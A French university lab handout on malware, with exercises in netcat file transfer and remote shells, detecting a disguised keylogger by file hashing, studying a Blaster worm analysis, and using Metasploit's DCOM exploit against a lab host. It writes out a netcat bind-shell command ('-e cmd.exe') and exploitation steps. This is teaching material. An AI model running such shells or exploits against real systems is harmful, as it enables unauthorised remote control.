Labo Malware (90 min)

0	Introduction	sudo ./c 2

Ce travail pratique sous **Windows 7** comprend les parties suivantes :

- Netcat → §1 – 20 min à effectuer par groupe de 2
- File Integrity → §2 – 20 min
- Blaster → §3 – 35 min
- Metasploit → §4 – 15 min

Action Ouvrir une session administrateur : compte=**albert** username=**admin**

Copier le dossier **\\10.2.1.1\doclabo\Secu\Malware** sur le bureau

1	Netcat	20 min

Introduction Illustrer la notion de porte dérobée *(backdoor)* avec l'outil **netcat** qui permet d'établir un canal TCP ou UDP entre 2 machines.
Ce programme communique avec l'utilisateur via des mécanismes entrée – sortie classiques *(Standard In – Standard Out)* autorisant des **redirections (< ou >)** intéressantes :

- *Standard In* = le clavier ou un fichier ou la sortie d'une commande (grâce à l'opérateur ¦)
- *Standard Out* = la fenêtre cmd.exe ou un fichier ou l'entrée d'une autre commande (grâce à l'opérateur ¦)
- Typer **Alt Gr 7** pour produire l'opérateur ¦

Action Dans le dossier Malware, déplacer le dossier tools dans **C:**
Dans un Command prompt : **cd C:\tools<Enter>**

But 1.1 **Transfert d'un fichier du PC_D (Droite) au PC_G (Gauche)**

Action Sur **PC_G** : `nc -l -p 1234 > f2.txt`

Sur **PC_D** :
```
echo abcd > f1.txt
nc IP_PC_G 1234 < f1.txt
```

Remarque Netcat ne coupe pas la connexion automatiquement une fois le transfert terminé.
Il est donc nécessaire de l'interrompre manuellement grâce à la combinaison clavier **CTRL C**

Question 1a Que s'est-il passé en exécutant, sur les 2 PC, les commandes mentionnées ci-dessus ?

Question 1b Que signifie l'option **-l** de la commande netcat ?

Question 1c Que signifie le symbole **<** après la commande netcat ?

Question 1d Que signifie le symbole **>** après la commande netcat ?

Question 1e Représenter schématiquement ce transfert

But 1.2 **Contrôle à distance de PC_G**

Action Sur **PC_G** : `nc -l -p 2000 -e cmd.exe`
Sur **PC_D** :
```
nc IP_PC_G 2000
ipconfig
```

Question 1f Quelle adresse IP obtenez-vous ?

Action Sur **PC_D :** `del f2.txt`
CTRL C pour interrompre la connexion
Sur **PC_G :** Contrôler que le fichier f2.txt a bien disparu

Question 1g Représenter schématiquement ce contrôle à distance

Test Contrôler avec **`whoami /all`** que le PC Client possède un jeton complet si la commande **nc** est exécutée dans un cmd avec Run as administrator

But 1.3 **Rediriger la sortie d'un exécutable sur netcat**

Action
Sur **PC_G** : **`nc –l –p 3000 > result.txt`**
Sur **PC_D** : **`ipconfig ¦ nc IP_PC_G 3000`**
Sur **PC_D** : CTRL C pour interrompre la connexion
Sur **PC_G** : ouvrir le fichier result.txt

Question 1h Représenter schématiquement cette redirection

Question 1i Pourquoi netcat fait partie de la catégorie des *backdoors* ?

2 *File Integrity* 20 min

But 2.1 Générer le fichier de référence contenant la liste des *hashes* md5 des fichiers contenus dans le répertoire C:\Windows\System32

Action Dans un Command Prompt
```
cd C:\tools
md5deep C:\Windows\System32\* > ref.md5
```

But 2.2 Installer le jeu illusion

Action Dans C:\tools, clic-droit sur **illusion.exe** puis Run as Administrator

Question 2a Que se passe-t-il ?

But 2.3 Typer quelques commandes

Action Dans un Command Prompt, typer les commandes **`date<Enter> ver<Enter>`**

But 2.4 Investiguer pour trouver des éléments anormaux

Action Constater la présence du fichier C:\key.log
Effectuer un clic droit sur ce fichier – *Properties*

Question 2b Quand ce fichier a-t-il été créé ?

Action Essayer d'ouvrir ce fichier

Question 2c Le fichier peut-il être ouvert ?

Action CTRL + SHIFT + Esc pour démarrer Task Manager
Onglet Processes

Question 2d Quel processus semble douteux ?

Action Terminer ce processus (sélectionner le processus puis – *End Process*)
Tenter à nouveau d'ouvrir le fichier c:\key.log

Question 2e Que contient ce fichier ?

Question 2f Qu'en déduisez-vous ?

But 2.5 Générer le fichier contenant la liste des *hashes* md5 des fichiers contenus dans le répertoire C:\Windows\System32

Action **`md5deep C:\Windows\System32\* > new.md5`**
Ouvrir le fichier généré avec wordpad

But 2.6 Comparer ce fichier avec celui produit au §2.1

Action Dans un Command Prompt
`cd C:\tools\`
`diff ref.md5 new.md5`

```
c:\tools>diff ref.md5 new.md5
1149a1150
> 74c1005efecc79c37a7a36c09bf520af  c:\Windows\system32\kl.exe
1152a1154
> 3b57f3e4bb251b702be10b1ff7f59ea6  c:\Windows\system32\koffka.exe
```

Commentaires La commande diff compare 2 fichiers
Première ligne :
Premier nombre = 1149 = numéro de ligne dans ref.md5
Lettre a pour ligne ajoutée
Dernier nombre = 1150 = numéro de ligne dans new.md5

Question 2g Quelles sont les différences entre ces deux listes ?

3	Blaster

Déterminer le mode opératoire du ver Blaster qui comprend 2 étapes

Etape 1	une machine A infectée tente d'infecter d'autres machines	15 min

But 3.1 Etudier la procédure infectTarget qui démarre en 00401929
Rechercher les précieux commentaires ajoutés par la société eEye dans leur étude de type *reverse engineering*

Action Ouvrir le document **Blaster_Analysis.txt** (fenêtre de partage)
Répondre aux questions en étudiant les commentaires

Question 3a D'où provient le code hexadécimal placé en 004040C0 (bindstr) ?

Question 3b A quoi sert-il ?

Question 3c Quel est le canal utilisé pour accéder à distance au *shell* ?

Question 3d Comment le ver Blaster est-il copié sur le poste de la victime ?

Etape 2	exécution de mblast.exe (code 00401250-00402157)	20 min

But 3.2 Etudier l'exécution de msblast.exe (code 00401250-00402157)
Répondre aux questions en étudiant les commentaires

Question 3e Quelle valeur ce ver écrit-il dans la clé HKLM\Software\Microsoft\Windows\CurrentVersion\Run ?

Question 3f Pourquoi ?

Question 3g A quoi sert le mutex appelé BILLY ?

Question 3h A quoi sert le code qui démarre en 00401315 ?

Question 3i A quoi sert le code qui démarre en 00401330 ?

Question 3j A quoi sert le code qui démarre en 004014FC ?

Question 3k A quelle adresse démarre la tentative d'infection sur d'autres victimes ?

Question 3l Combien de victimes peuvent être atteintes simultanément ?

4	Metasploit	15 min

Objectif Utiliser ce précieux outil GUI développé par le célèbre H D Moore

Action Lancer Metasploit 3 GUI (raccourci bureau)

- Dans le champ d'entrée texte en haut de la fenêtre, taper **`dcom`** puis clic sur le bouton Rechercher
- Clic-droit sur l'exploit ms03_026_dcom – Exécuter
- Spécifier le système d'exploitation de la cible (ici 1 seul choix possible) – Avancer
- Sélectionner le *payload* à utiliser, ici le but est d'avoir un *remote command shell*, le *payload* proposé par défaut convient bien (remarquer l'explication en bas de chaque *payload*) – Avancer
- Dans le champ *RHOST : The target address* mettre 10.2.1.5
- Consulter les différentes options possibles, mais ne pas les modifier
- Avancer

Un résumé des choix est alors présenté, pour lancer l'exploit clic sur Appliquer

Revenir dans la fenêtre principale GUI de Metasploit
Dans la fenêtre *Sessions* en bas à droite, double-clic sur 10.2.1.5

Question 4a Qu'obtenez-vous ?

Remarque Il n'y a pas de curseur dans cette fenêtre, simplement exécuter les commandes suivantes

Question 4b Quelle réponse obtenez-vous à la commande **`C:\...>ipconfig /all`**

Question 4c Utiliser **`C:\...>netstat /an`** pour préciser les sockets utilisés avec le *remote command shell* ?

Question 4d Où retrouvez-vous dans Metasploit le port 4444 de la machine cible (éventuellement refaire les manipulations précédentes) ?

Question 4e Quelle réponse obtenez-vous à la commande **`C:\...>whoami /all`**

Question 4f Quel est le compte avec lequel s'exécutent les commandes dans le *remote command shell* ?

5	Complément	optionnel

Objectif Déterminer le payload envoyé par Metasploit au 4 avec Wireshark

Etudier la commande **`netstat`** à partir de l'aide

Etudier l'implémentation du keylogger utilisé au §2
→ http://www.tdeig.ch/windows/solleder_M.pdf pages 44-47

Recherche d'autres possibilités de la commande netcat utilisée au §1
→ Utiliser SANS_netcat.pdf et Tutorial.pdf (situés dans le dossier copié)

Parcourir le rapport Udriot qui met en œuvre des attaques à partir de la distribution kali